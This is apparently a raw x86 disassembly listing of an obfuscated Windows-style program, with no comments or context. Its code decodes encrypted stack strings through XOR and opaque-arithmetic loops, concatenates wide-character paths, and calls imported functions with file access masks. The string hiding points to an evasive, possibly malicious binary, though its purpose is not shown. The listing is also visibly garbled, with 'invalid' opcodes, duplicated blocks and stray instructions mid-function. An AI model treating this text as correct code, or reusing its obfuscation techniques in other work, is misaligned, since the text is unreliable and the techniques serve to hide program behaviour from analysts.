mov dword [ecx + 0x48], 0xa77da17c
mov eax, dword [0x41c7a77d]
dec esp
or eax, 0xc7ab18a5
inc ecx
push eax
or al, 0xa9
sbb eax, 0x5441c7af
pop ss
lodsd eax, dword [esi]
add eax, 0x5841c7b3
insb byte es:[edi], dx
mov cl, 0x71
mov bh, 0xc7
inc ecx
pop esp
invalid
mov ch, 0xc
invalid
mov eax, dword [0x41c7a77d]
dec esp
or eax, 0xc7ab18a5
inc ecx
push eax
or al, 0xa9
sbb eax, 0x5441c7af
pop ss
lodsd eax, dword [esi]
add eax, 0x5841c7b3
insb byte es:[edi], dx
mov cl, 0x71
mov bh, 0xc7
inc ecx
pop esp
add dword [ebp + 0x41c7bb0c], esi
mov dword [ecx + 0x60], 0xbf1bb90e
mov dword [ecx + 0x64], 0x8336bd0e
mov dword [ecx + 0x68], 0x8723815a
mov dword [ecx + 0x60], 0xbf1bb90e
mov dword [ecx + 0x64], 0x8336bd0e
mov dword [ecx + 0x68], 0x8723815a
mov dword [ecx + 0x6c], 0x8b3d8532
mov dword [ecx + 0x70], 0x8f3d8921
mov dword [ecx + 0x74], 0x934e8d3e
mov dword [ecx + 0x78], 0x97249145
and al, 0x97
and al, 0x97
mov dword [ecx + 0x7c], 0x9b28953d
mov dword [ecx + 0x80], 0x9f2a992f
mov dword [ecx + 0x84], 0x63ce9d3d
mov dword [ecx + 0x88], 0x67ba61cc
mov word [ecx + 0x8c], 0x6564
mov dword [ecx + 0x8e], 0
xor edx, edx
nop
mov ecx, edx
add cl, 0x7a
mov edi, dword [esi + 0x1c]
xor cl, byte [edi + edx]
add cl, 0x9e
mov edi, dword [esi + 0x1c]
mov byte [edi + edx], cl
mov edi, dword [esi + 0x1c]
inc edx
cmp edx, 0x92
jne 0x41f880
movzx ecx, word [edi]
mov edx, eax
test cx, cx
je 0x41f8c1
add edi, 2
mov edx, eax
nop
mov word [edx], cx
add edx, 2
movzx ecx, word [edi]
add edi, 2
test cx, cx
test ecx, ecx
test ecx, ecx
jne 0x41f8b0
mov word [edx], 0
mov edi, dword [esi + 0x14]
movzx ecx, word [edi]
test cx, cx
je 0x41f8f1
add edi, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edx], cx
add edx, 2
movzx ecx, word [edi]
add edi, 2
test cx, cx
jne 0x41f8e0
mov word [edx], 0
mov edi, dword [esi + 0x58]
mov dword [edi], 0x89388b5b
mov dword [edi + 4], 0x850a8705
mov dword [edi + 8], 0x8136833b
mov dword [edi + 0xc], 0x9d4a9f34
mov dword [edi + 0x10], 0x99279b2d
mov dword [edi + 0x14], 0x951a9727
mov dword [edi + 0x18], 0x91239323
mov dword [edi + 0x1c], 0x6d6e6f22
mov word [edi + 0x20], 0
mov byte [edi + 0x22], 0
xor edx, edx
nop
nop
nop
nop
mov ecx, edx
add cl, 0x63
xor cl, byte [edi + edx]
add cl, 0x11
mov byte [edi + edx], cl
inc edx
cmp edx, 0x23
jne case.default.0x41f96a
push edi
mov dword [esi + 0x44], eax
push eax
call fcn.0043c5a0
add esp, 8
mov edi, eax
xor eax, eax
test edi, edi
setne al
jmp dword [eax*4 + 0x44b3f8]
xor edx, edx
mov edi, dword [esi + 0x48]
mov eax, dword [esi + 0x44]
jmp dword [0x44b538]
mov dword [esi + 4], edx
push eax
call fcn.0040cd50
mov edx, dword [esi + 4]
add esp, 4
jmp case.0x41e783.11
push edi
push 0
push 0
push ebx
push eax
push 0
call dword [0x45070c]
mov ecx, dword [edi]
lea eax, [ecx + ecx]
mov dword [esi + 0x2c], ecx
test ecx, ecx
jns 0x41f9dd
mov eax, 0xffffffff
push eax
call fcn.0040cd40
add esp, 4
mov edi, eax
push dword [esi + 0x30]
push dword [esi + 0x2c]
push eax
push ebx
mov eax, dword [ebp + 0xc]
push dword [eax + 4]
push 0
call dword [0x45070c]
mov eax, dword [esi + 0x30]
mov ecx, dword [eax]
lea eax, [ecx*2 + 0x1a]
add ecx, 0xd
jns 0x41fa14
mov eax, 0xffffffff
push eax
call fcn.0040cd40
add esp, 4
mov ebx, dword [esi + 4]
mov dword [ebx], 0x49fe4be8
mov dword [ebx + 4], 0x45cb47d7
inc edi
retf
inc ebp
mov dword [ebx + 8], 0x412243c8
mov dword [ebx + 0xc], 0xbd25bfea
mov dword [ebx + 0x10], 0xb937bb32
mov dword [ebx + 0x14], 0xb527b72f
mov dword [ebx + 0x18], 0xb1b2b326
mov byte [ebx + 0x1c], 0
add byte [ecx], dh
leave
inc edi
retf
add byte [ecx], dh
leave
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0x73
xor dl, byte [ebx + ecx]
add dl, 0xc1
mov byte [ebx + ecx], dl
inc ecx
cmp ecx, 0x1d
jne 0x41fa60
movzx edx, word [edi]
mov ecx, eax
test dx, dx
je 0x41faa1
add edi, 2
mov ecx, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [edi]
add edi, 2
test dx, dx
jne 0x41fa90
mov word [ecx], 0
movzx edx, word [ebx]
test dx, dx
je 0x41fad1
add ebx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], dx
add ecx, 2
movzx edx, word [ebx]
add ebx, 2
test dx, dx
jne 0x41fac0
mov word [ecx], 0
push 0x60
push 3
push 0x120089
push dword [esi + 0x14]
push eax
call fcn.004447e0
add esp, 0x14
push eax
mov dword [esi + 0x30], esp
sub esp, 0x20
mov ebx, esp
push eax
mov dword [esi + 0x10], esp
push eax
mov dword [esi + 0x28], esp
sub esp, 0x2c
mov dword [esi + 0x18], esp
sub esp, 0x20
mov dword [esi + 4], esp
push eax
mov dword [esi + 0x20], esp
push eax
mov dword [esi + 0x3c], esp
sub esp, 0x1c
mov dword [esi + 0x24], esp
sub esp, 8
mov dword [esi + 0x74], esp
sub esp, 8
mov dword [esi + 0x44], esp
sub esp, 0x14
mov dword [esi + 0x34], esp
sub esp, 0x28
mov dword [esi + 0x14], esp
sub esp, 0x18
mov dword [esi + 0x40], esp
sub esp, 0x94
mov dword [esi + 0x1c], esp
sub esp, 0x24
mov dword [esi + 0x58], esp
sub esp, 0x10
mov dword [esi + 0x54], esp
sub esp, 0xc
mov ecx, esp
sub esp, 0x2c
mov dword [esi + 0x38], esp
sub esp, 0x34
mov dword [esi + 0x9c], esp
sub esp, 0x18
mov dword [esi + 0xbc], esp
push eax
mov dword [esi + 0x4c], esp
push eax
mov dword [esi + 0x64], esp
sub esp, 8
mov dword [esi + 0x8c], esp
sub esp, 0x44
mov dword [esi + 0xb4], esp
sub esp, 0x10
mov dword [esi + 0x60], esp
push eax
mov dword [esi + 0xb0], esp
push eax
mov dword [esi + 0xa0], esp
push eax
mov dword [esi + 0xb8], esp
sub esp, 8
mov dword [esi + 0x78], esp
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x90], eax
mov esp, eax
push eax
push eax
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x98], eax
mov esp, eax
push eax
sub esp, 0x28
mov dword [esi + 0x7c], esp
push eax
sub esp, 0xffc
mov dword [esi + 0x88], esp
push eax
mov dword [esi + 0x70], esp
sub esp, 8
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x94], eax
mov esp, eax
push eax
sub esp, 0x64
mov eax, esp
and eax, 0xfffffff8
mov dword [esi + 0x5c], eax
mov esp, eax
push eax
sub esp, 0x18
mov dword [esi + 0x80], esp
sub esp, 0x18
mov dword [esi + 0x84], esp
push eax
mov dword [esi + 0xa4], esp
sub esp, 0xc
mov dword [esi + 0xc4], esp
sub esp, 0x10
mov edx, esp
sub esp, 0x14
mov dword [esi + 0x48], esp
sub esp, 0xc
mov dword [esi + 0xc0], esp
mov eax, dword [ebp + 0xc]
mov eax, dword [eax + 4]
mov edi, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [eax + edi + 2], 0
lea edi, [edi + 2]
jne 0x41fc40
mov dword [esi + 0xac], edx
mov dword [esi + 0x50], ecx
sar edi, 1
push dword [esi + 0x30]
push 0
push 0
push edi
push eax
push 0
call dword [0x45070c]
mov eax, dword [esi + 0x30]
mov ecx, dword [eax]
lea eax, [ecx + ecx]
mov dword [esi + 0x2c], ecx
test ecx, ecx
jns 0x41fc7b
mov eax, 0xffffffff
push eax
call fcn.0040cd40
add esp, 4
push dword [esi + 0x30]
push dword [esi + 0x2c]
mov dword [esi + 0x2c], eax
push eax
push edi
mov eax, dword [ebp + 0xc]
push dword [eax + 4]
push 0
call dword [0x45070c]
mov eax, dword [esi + 0x30]
mov ecx, dword [eax]
lea eax, [ecx*2 + 0x1a]
add ecx, 0xd
jns 0x41fcb3
mov eax, 0xffffffff
push eax
call fcn.0040cd40
add esp, 4
mov edi, eax
mov dword [ebx], 0x49fe4be8
mov dword [ebx + 4], 0x45cb47d7
mov dword [ebx + 8], 0x412243c8
mov dword [ebx + 0xc], 0xbd25bfea
mov dword [ebx + 0x10], 0xb937bb32
mov dword [ebx + 0x14], 0xb527b72f
mov dword [ebx + 0x18], 0xb1b2b326
mov byte [ebx + 0x1c], 0
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0x73
xor cl, byte [ebx + eax]
add cl, 0xc1
mov byte [ebx + eax], cl
inc eax
cmp eax, 0x1d
jne 0x41fd00
mov eax, dword [esi + 0x2c]
movzx ecx, word [eax]
mov eax, edi
test cx, cx
je 0x41fd41
mov eax, dword [esi + 0x2c]
lea edx, [eax + 2]
mov eax, edi
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41fd30
mov word [eax], 0
movzx ecx, word [ebx]
test cx, cx
je 0x41fd71
add ebx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [ebx]
add ebx, 2
test cx, cx
jne 0x41fd60
mov word [eax], 0
push 0x60
push 3
push 0x120089
mov ebx, dword [esi + 0x10]
push ebx
push edi
call fcn.004447e0
add esp, 0x14
jmp dword [0x44b310]
push edi
call fcn.0040cd50
add esp, 4
push edi
call fcn.0040cd50
add esp, 4
jmp dword [0x44b528]
mov ecx, dword [esi + 0x5c]
push 1
call fcn.0040d7f0
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax]
mov eax, 0xfffffffe
nop
nop
cmp word [ecx + eax + 2], 0
lea eax, [eax + 2]
jne 0x41fdc0
cmp eax, 0xffffffe9
mov dword [esi + 0x10], ecx
jge 0x41fdda
mov eax, 0xffffffff
jmp 0x41fddd
add eax, 0x16
push eax
call fcn.0040cd40
add esp, 4
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0x80]
mov dword [eax], 0x23e621ff
mov dword [eax + 4], 0x27c425c1
mov dword [eax + 8], 0xdb3dd94d
mov dword [eax + 0xc], 0xdf4add02
mov dword [eax + 0x10], 0xd346d158
mov word [eax + 0x14], 0xd5d4
mov dword [eax + 0x16], 0
mov word [eax + 0x1a], 0
xor eax, eax
mov ebx, 0x36bf9307
nop
nop
nop
nop
nop
lea edi, [eax + 0x49406cf8]
lea edx, [ebx - 0x36bf9300]
mov ecx, ebx
and ecx, 0x208b1348
and edi, 0x490064b7
or edi, ecx
mov ecx, eax
and ecx, 1
and edx, 0xfe
or edx, ecx
lea ecx, [eax + 0xf8]
xor edx, edi
xor edi, 0x48
or edi, ecx
mov ecx, dword [esi + 0x80]
movzx ecx, byte [ecx + eax]
xor edx, 0xb6
not edi
or edi, edx
lea edx, [ebx - 0x80000000]
or edx, ecx
and edi, ecx
not edx
or edx, edi
add edx, 0x91bddf27
mov ecx, edx
and ecx, 1
xor edx, 1
lea ecx, [edx + ecx*2]
mov edx, dword [esi + 0x80]
mov byte [edx + eax], cl
inc eax
dec ebx
cmp eax, 0x1c
jne 0x41fe30
mov ebx, dword [esi + 0x10]
movzx ecx, word [ebx]
mov edi, dword [esi + 0x14]
mov eax, edi
test cx, cx
je 0x41fecf
add ebx, 2
mov eax, edi
mov word [eax], cx
add eax, 2
movzx ecx, word [ebx]
add ebx, 2
test cx, cx
jne 0x41febe
mov word [eax], 0
movzx ecx, word [edx]
test cx, cx
mov edi, dword [esi + 0x48]
mov ebx, dword [esi + 0x84]
je 0x41fef9
add edx, 2
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x41fee8
mov word [eax], 0
mov eax, dword [esi + 0x70]
mov eax, dword [eax]
mov edx, dword [esi + 0x88]
sub eax, edx
mov ecx, dword [esi + 0x5c]
push eax
push edx
push dword [esi + 0x14]
call fcn.0040d840
mov ecx, dword [esi + 0x5c]
call fcn.0040e020
jmp dword [0x44b530]
xor eax, eax
cmp ebx, dword [ebp + 0x14]
setb al
mov dword [ebp - 0x10], 0
mov dword [ebp - 0x14], 0
xor ecx, ecx
jmp dword [eax*4 + 0x44b590]
mov ecx, dword [ebp - 0x14]
and cl, 1
mov edx, dword [ebp + 0x10]
or cl, byte [edx + edi*4 + 8]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x10]
or cl, al
mov dword [ebp - 0x10], ecx
mov ecx, esi
inc ecx
xor eax, eax
cmp ecx, dword [ebp + 0x14]
setb al
jmp dword [eax*4 + 0x44b590]
mov esi, ecx
lea edi, [ecx + ecx*2]
lea eax, [edx + edi*4]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.00421d40
add esp, 0xc
movzx ecx, al
jmp dword [ecx*4 + 0x44b598]
mov ecx, dword [ebp - 0x10]
or cl, al
mov dword [ebp - 0x10], ecx
mov ecx, esi
inc ecx
xor eax, eax
cmp ecx, dword [ebp + 0x14]
setb al
mov edx, dword [ebp + 0x10]
jmp dword [eax*4 + 0x44b590]
mov dword [ebp - 0x4c], 0xf36bf108
mov dword [ebp - 0x48], 0xef62ed7f
mov dword [ebp - 0x44], 0xeb78e97f
mov dword [ebp - 0x40], 0xe7e6e56d
mov dword [ebp - 0x3c], 0
nop
nop
nop
nop
nop
mov eax, ebx
add al, 0xac
xor al, byte [ebp + ebx - 0x4c]
add al, 0xa4
mov byte [ebp + ebx - 0x4c], al
inc ebx
cmp ebx, 0x14
jne 0x4215c0
lea eax, [ebp - 0x4c]
push eax
push dword [ebp + 0xc]
mov esi, dword [ebp + 8]
push esi
call fcn.0041d280
add esp, 0xc
mov byte [ebp - 0x18], al
mov dword [ebp - 0x4c], 0x93059124
mov dword [ebp - 0x48], 0x9f379d33
mov dword [ebp - 0x44], 0x9bfa990e
mov dword [ebp - 0x40], 0x872785c8
mov dword [ebp - 0x3c], 0x8323811c
mov word [ebp - 0x38], 0x8d8c
mov dword [ebp - 0x36], 0
mov ebx, dword [ebp - 0x10]
and bl, 1
xor eax, eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov ecx, eax
add cl, 0xa4
xor cl, byte [ebp + eax - 0x4c]
add cl, 0xcc
mov byte [ebp + eax - 0x4c], cl
inc eax
cmp eax, 0x1a
jne 0x421630
lea eax, [ebp - 0x4c]
push eax
push dword [ebp + 0xc]
push esi
call fcn.0041d280
add esp, 0xc
mov byte [ebp - 0x10], al
mov dword [ebp - 0x4c], 0xb725897c
mov dword [ebp - 0x48], 0xb35bb55f
mov dword [ebp - 0x44], 0xbf9eb122
mov dword [ebp - 0x40], 0xbb5bbd70
mov dword [ebp - 0x3c], 0xa747b924
mov dword [ebp - 0x38], 0xa368a584
mov dword [ebp - 0x34], 0xaf30a133
mov dword [ebp - 0x30], 0xab6bad8c
mov dword [ebp - 0x2c], 0x57b9a947
mov dword [ebp - 0x28], 0x53cf55c7
mov dword [ebp - 0x24], 0x5fc251c2
mov word [ebp - 0x20], 0x5d5c
mov dword [ebp - 0x1e], 0
mov word [ebp - 0x1a], 0
or bl, byte [ebp - 0x18]
mov eax, 0x5d
mov ecx, 0x32a141a1
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx esi, byte [ebp + eax - 0xa9]
lea edx, [eax - 0x1950a0ff]
lea edi, [ecx - 0x1950a100]
and edi, 0x1910007b
and edx, 0xc60a5d84
or edx, edi
xor edx, 0x84
or edx, esi
and esi, ecx
not edx
or edx, esi
add dl, 0x2a
mov byte [ebp + eax - 0xa9], dl
inc eax
dec ecx
cmp eax, 0x91
jne 0x4216d0
lea eax, [ebp - 0x4c]
push eax
push dword [ebp + 0xc]
mov edi, dword [ebp + 8]
push edi
call fcn.0041d280
add esp, 0xc
mov dword [ebp - 0x4c], 0xe119e70d
mov dword [ebp - 0x48], 0xfdc2e302
mov dword [ebp - 0x44], 0xf91dff20
mov dword [ebp - 0x40], 0xf519fb74
mov dword [ebp - 0x3c], 0xf7f4
or bl, byte [ebp - 0x10]
mov ecx, 0x51809ef5
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edx, byte [ebp + ecx - 0x51809f41]
lea esi, [ecx - 0x51809ecc]
and esi, edx
add esi, esi
sub edx, esi
add edx, ecx
mov esi, edx
and esi, 0x66
xor edx, 0x66
lea edx, [edx + esi*2]
inc dl
mov byte [ebp + ecx - 0x51809f41], dl
inc ecx
cmp ecx, 0x51809f09
jne 0x421760
or bl, al
lea eax, [ebp - 0x4c]
push eax
mov esi, ebx
mov ebx, dword [ebp + 0xc]
push ebx
push dword [ebp + 8]
call fcn.0041d280
add esp, 0xc
movzx eax, al
mov ecx, esi
movzx esi, cl
mov ecx, eax
not ecx
mov dword [ebp - 0x18], ecx
xor eax, esi
add eax, esi
mov dword [ebp - 0x54], eax
mov ebx, dword [ebx + 4]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ebx + eax + 2], 0
lea eax, [eax + 2]
jne 0x4217d0
cmp eax, 0xffffffdd
jge 0x4217e7
mov eax, 0xffffffff
jmp 0x4217ea
add eax, 0x22
push eax
call fcn.0040cd40
add esp, 4
movzx ecx, word [ebx]
mov dword [ebp - 0x10], eax
test cx, cx
je 0x421821
add ebx, 2
mov eax, dword [ebp - 0x10]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [ebx]
add ebx, 2
test cx, cx
jne 0x421810
and dword [ebp - 0x18], esi
mov word [eax], 0x5c
mov dword [ebp - 0x4c], 0xf35ff1a6
mov dword [ebp - 0x48], 0xff41fd40
mov dword [ebp - 0x44], 0xfb48f94f
mov dword [ebp - 0x40], 0xc762c56f
mov dword [ebp - 0x3c], 0xc375c183
mov dword [ebp - 0x38], 0xcf65cd7b
mov dword [ebp - 0x34], 0xcb67c961
mov dword [ebp - 0x30], 0xd7d6d567
mov dword [ebp - 0x2c], 0
xor ecx, ecx
nop
nop
nop
nop
nop
nop
mov edx, ecx
add dl, 0xd4
xor dl, byte [ebp + ecx - 0x4c]
add dl, 0xdc
mov byte [ebp + ecx - 0x4c], dl
inc ecx
cmp ecx, 0x24
jne 0x421870
add eax, 2
movzx ecx, word [ebp - 0x4c]
test cx, cx
je 0x4218b1
lea edx, [ebp - 0x4a]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x4218a0
mov word [eax], 0
xor esi, esi
nop
nop
nop
nop
nop
nop
nop
nop
mov dword [ebp - 0x4c], 0xb7db89fa
mov dword [ebp - 0x48], 0xb329b528
mov dword [ebp - 0x44], 0xbf20b123
mov dword [ebp - 0x40], 0xbbdebd2b
mov dword [ebp - 0x3c], 0xa735b9f7
mov dword [ebp - 0x38], 0xa335a537
mov dword [ebp - 0x34], 0xafc3a1c9
mov dword [ebp - 0x30], 0xabaaad33
mov word [ebp - 0x2c], 0
mov edx, 0x1e
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
movzx edi, byte [ebp + edx - 0x6a]
mov ebx, edi
and ebx, edx
mov eax, ebx
or al, 0xfd
inc al
mov ecx, ebx
and cl, 0x7d
mul cl
mov ecx, eax
mov eax, edi
add cl, al
mov eax, ebx
shr al, 1
and al, 1
or bl, 2
mul bl
add al, al
sub cl, al
movzx eax, cl
add eax, edx
add al, 0x6a
mov byte [ebp + edx - 0x6a], al
inc edx
cmp edx, 0x40
jne case.default.0x421963
lea eax, [ebp - 0x4c]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0041d280
add esp, 0xc
mov bh, al
movzx eax, al
jmp dword [eax*4 + 0x44b5a0]
push 0
push 0x2710
push dword [ebp - 0x10]
call fcn.0043c300
add esp, 0xc
xor eax, eax
cmp esi, 0xa
setb al
jmp dword [eax*4 + 0x44b5a8]
inc esi
jmp 0x4218c0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x54], eax
setne bl
or bl, bh
jmp dword [0x44b5b0]
push dword [ebp - 0x10]
call fcn.0040cd50
add esp, 4
mov eax, dword [ebp - 0x14]
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x44b5b8]
mov eax, dword [ebp - 0x14]
and al, 1
movzx eax, al
jmp dword [eax*4 + 0x44b5b8]
mov eax, dword [ebp + 0xc]
mov ecx, dword [eax + 4]
mov eax, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [ecx + eax + 2], 0
lea eax, [eax + 2]
jne 0x4219e0
mov dword [ebp - 0x10], ecx
mov esi, 0xffffffff
cmp eax, 0xffffffd1
jge 0x421a02
mov byte [ebp - 0x18], bl
mov eax, 0xffffffff
jmp 0x421a08
mov byte [ebp - 0x18], bl
add eax, 0x2e
push eax
call fcn.0040cd40
add esp, 4
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x4c], 0xe9a6eb58
mov dword [ebp - 0x48], 0xed4bef79
mov dword [ebp - 0x44], 0xd17ed34b
mov dword [ebp - 0x40], 0xd563d7b0
mov dword [ebp - 0x3c], 0xd94bdb40
mov dword [ebp - 0x38], 0xdd79df4e
mov dword [ebp - 0x34], 0xc169c375
mov dword [ebp - 0x30], 0xc56ac77c
mov dword [ebp - 0x2c], 0xc950cb6f
mov dword [ebp - 0x28], 0xcd62cf63
mov dword [ebp - 0x24], 0x31943368
mov dword [ebp - 0x20], 0x3730
mov byte [ebp - 0x1c], 0
xor eax, eax
xor ecx, ecx
mov edi, ecx
or edi, 0x28
mov edx, esi
or edx, 0xd7
and edx, edi
mov edi, eax
and edi, 0x2e
sub edx, edi
xor dl, byte [ebp + ecx - 0x4c]
mov bl, 0xcc
sub bl, dl
mov byte [ebp + ecx - 0x4c], bl
inc ecx
add eax, 2
dec esi
cmp ecx, 0x31
jne 0x421a70
mov esi, dword [ebp - 0x10]
movzx ecx, word [esi]
mov edx, dword [ebp - 0x14]
mov eax, edx
test cx, cx
je 0x421ad1
add esi, 2
mov eax, edx
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [esi]
add esi, 2
test cx, cx
jne 0x421ac0
mov word [eax], 0
movzx ecx, word [ebp - 0x4c]
test cx, cx
je 0x421b01
lea edx, [ebp - 0x4a]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [eax], cx
add eax, 2
movzx ecx, word [edx]
add edx, 2
test cx, cx
jne 0x421af0
mov word [eax], 0
mov eax, dword [ebp + 0xc]
mov ebx, dword [eax]
mov eax, 0xfffffffe
cmp word [ebx + eax + 2], 0
lea eax, [eax + 2]
jne 0x421b10
mov ecx, dword [ebp + 0xc]
mov esi, dword [ecx + 8]
mov ecx, 0xfffffffe
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
cmp word [esi + ecx + 2], 0
lea ecx, [ecx + 2]
jne 0x421b30
sar eax, 1
sar ecx, 1
lea edx, [eax + ecx]
add edx, 0xc
test edx, edx
mov dword [ebp - 0x54], esi
jns 0x421b53
mov eax, 0xffffffff
jmp 0x421b5c
add eax, ecx
lea eax, [eax*2 + 0x18]
push eax
call fcn.0040cd40
add esp, 4
mov edi, eax
movzx eax, word [ebx]
mov dword [ebp - 0x10], edi
test ax, ax
je 0x421b91
add ebx, 2
mov edi, dword [ebp - 0x10]
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edi], ax
add edi, 2
movzx eax, word [ebx]
add ebx, 2
test ax, ax
jne 0x421b80
mov word [edi], 0x2f
mov edx, dword [ebp - 0x58]
mov dword [edx], 0xe124e7d5
mov dword [edx + 4], 0xfd13e312
mov dword [edx + 8], 0xf973ff75
mov dword [edx + 0xc], 0xf508fb07
mov dword [edx + 0x10], 0xf134f728
mov word [edx + 0x14], 0xf3f0
mov dword [edx + 0x16], 0
mov ebx, 0x70b32e29
nop
nop
nop
movzx esi, byte [edx + ebx - 0x70b32e29]
lea edx, [ebx - 0x70b32e00]
or edx, ebx
and edx, esi
mov eax, edx
or al, 0xfd
inc al
mov ecx, edx
and cl, 0x7d
mul cl
mov ecx, eax
mov eax, esi
add cl, al
mov eax, edx
shr al, 1
and al, 1
or dl, 2
mul dl
mov edx, dword [ebp - 0x58]
add al, al
sub cl, al
movzx eax, cl
add eax, ebx
add al, 0x33
mov byte [edx + ebx - 0x70b32e29], al
inc ebx
cmp ebx, 0x70b32e43
jne 0x421bd0
add edi, 2
mov esi, dword [ebp - 0x54]
movzx eax, word [esi]
test ax, ax
je 0x421c53
add esi, 2
mov ecx, dword [ebp - 0x50]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edi], ax
add edi, 2
movzx eax, word [esi]
add esi, 2
test ax, ax
jne 0x421c40
jmp 0x421c56
mov ecx, dword [ebp - 0x50]
mov word [edi], 0
movzx eax, word [edx]
test ax, ax
je 0x421c81
add edx, 2
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [edi], ax
add edi, 2
movzx eax, word [edx]
add edx, 2
test ax, ax
jne 0x421c70
mov word [edi], 0
mov dword [ecx], 0x3332311a
mov dword [ecx + 4], 0
mov eax, 0xdf07e1b4
mov ecx, 0x20f81e4b
nop
nop
nop
mov edx, dword [ebp - 0x50]
movzx edx, byte [edx + eax + 0x20f81e4c]
mov esi, edx
not esi
or esi, eax
add esi, edx
inc esi
lea edi, [edx + edx]
not edi
add edi, edx
lea edx, [ecx - 0x20f81e00]
and edx, edi
or edx, esi
mov bl, 0x7b
sub bl, dl
mov edx, dword [ebp - 0x50]
mov byte [edx + eax + 0x20f81e4c], bl
inc eax
dec ecx
cmp eax, 0xdf07e1bc
jne 0x421ca0
push 0
push 2
push 0xc00000
push edx
mov esi, dword [ebp - 0x14]
push esi
push dword [ebp - 0x10]
push dword [ebp + 8]
call fcn.00425950
add esp, 0x1c
mov bh, al
jmp dword [0x44b5c0]
push esi
call fcn.0040cd50
add esp, 4
mov eax, dword [case.0x421963.8]
nop
nop
jmp eax
mov bl, byte [ebp - 0x18]
or bl, bh
jmp dword [0x44b5e8]
push dword [ebp - 0x10]
call fcn.0040cd50
add esp, 4
mov eax, dword [case.0x421963.22]
nop
nop
nop
jmp eax
mov eax, ebx
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret
push edi
call fcn.0040cd50
add esp, 4
movzx eax, byte [ebx + 9]
jmp dword [eax*4 + 0x44b608]
movzx eax, byte [ebx + 9]
jmp dword [eax*4 + 0x44b608]
mov ecx, dword [esp + 4]
mov edx, dword [esp + 0x4c]
lea eax, [ecx + edx]
add eax, 0x1a
test eax, eax
jns 0x422145
mov eax, 0xffffffff
jmp 0x42214e
add ecx, edx
lea eax, [ecx*2 + 0x34]
push eax
call fcn.0040cd40
add esp, 4
mov dword [esp + 0x48], eax
mov eax, dword [ebx + 4]
mov dword [esp + 4], eax
mov dword [esp + 0xc], 0x71bb0fb0
mov dword [esp + 0x10], 0x75dc73eb
mov dword [esp + 0x14], 0x791677d1
mov dword [esp + 0x18], 0x7de27b3f
mov dword [esp + 0x1c], 0x61d97fe8
mov dword [esp + 0x20], 0x65f763ce
mov dword [esp + 0x24], 0x69f767cf
mov dword [esp + 0x28], 0x6d0a6bc6
mov dword [esp + 0x2c], 0x51c96fd9
mov dword [esp + 0x30], 0x55c653c4
mov dword [esp + 0x34], 0x59f857ff
mov dword [esp + 0x38], 0x5dcf5bf1
mov dword [esp + 0x3c], 0x415e5fe0
mov dword [esp + 0x40], 0
mov ecx, 0xedf74dbd
mov edx, 0x1208b242
nop
nop
nop
nop
movzx ebp, byte [esp + ecx + 0x1208b24f]
mov ebx, edx
xor ebx, ebp
mov edi, ecx
or edi, ebp
add ebx, ebp
not ebp
and ebp, ecx
lea eax, [edi + edi]
not eax
add eax, edi
add ebx, ebp
mov edi, 0xfffffffe
sub edi, ebx
lea ebx, [eax + eax]
not ebx
add ebx, eax
and ebx, edi
mov eax, ebx
and eax, 1
xor ebx, 1
lea eax, [ebx + eax*2]
add al, 0x4e
mov byte [esp + ecx + 0x1208b24f], al
inc ecx
dec edx
cmp ecx, 0xedf74df5
jne 0x4221e0
mov eax, dword [esp + 0x68]
mov edx, dword [eax + 4]
movzx ebx, word [edx]
mov ebp, dword [esp + 0x48]
mov ecx, ebp
test bx, bx
je 0x422261
add edx, 2
mov ecx, ebp
nop
nop
nop
nop
nop
nop
nop
nop
nop
mov word [ecx], bx
add ecx, 2
movzx ebx, word [edx]
add edx, 2
test bx, bx
jne 0x422250
mov word [ecx], 0
movzx edx, word [esp + 0xc]
test dx, dx
je 0x422293
lea ebx, [esp + 0xe]
